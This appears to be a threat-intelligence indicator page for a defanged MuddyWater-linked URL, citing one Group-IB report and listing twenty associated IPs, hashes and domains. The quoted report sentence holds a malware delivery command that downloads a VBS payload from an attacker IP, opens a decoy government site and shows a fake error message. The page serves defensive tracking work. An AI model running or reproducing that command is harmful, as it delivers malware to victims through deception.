hxxp://91.121.240[.]108:443/HBIyURL
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 3 years ago
What the reports say
1 report, newest first · the exact sentence from each-
SimpleHarm: Tracking MuddyWater’s infrastructure“/c curl -s hxxp://91.121.240[.]108:443/HBIy > C:\programdata\temp.vbs && START microsoft-edge:hxxps://mohap.gov.ae/ && msg * The file is c orrupted .”
Indicators reported together
named in the same reports- 51.254.25[.]36in 1 report
- 53ce7a2850e27465…1a3ec1b6a640in 1 report
- 51.255.19[.]179in 1 report
- 51.255.19[.]178in 1 report
- 164.132.237[.]64in 1 report
- 91.121.240[.]104in 1 report
- 164.132.237[.]65in 1 report
- e7383c77c6f804cffac6c88651b7bce2in 1 report
- 137.74.131[.]24in 1 report
- 91.121.240[.]96in 1 report
- 2528838a609aa143…6ce64b2a1507in 1 report
- 91.121.240[.]108in 1 report
- hxxps://mohap.gov[.]ae/in 1 report
- mohap.gov[.]aein 1 report
- hxxps://mohap.gov[.]aein 1 report
- 178.32.30[.]3in 1 report
- 149.202.242[.]80in 1 report
- 164.132.237[.]66in 1 report
- 3648a6085512ab91f5a23bafb8418f7bin 1 report
- 51.255.19[.]183in 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.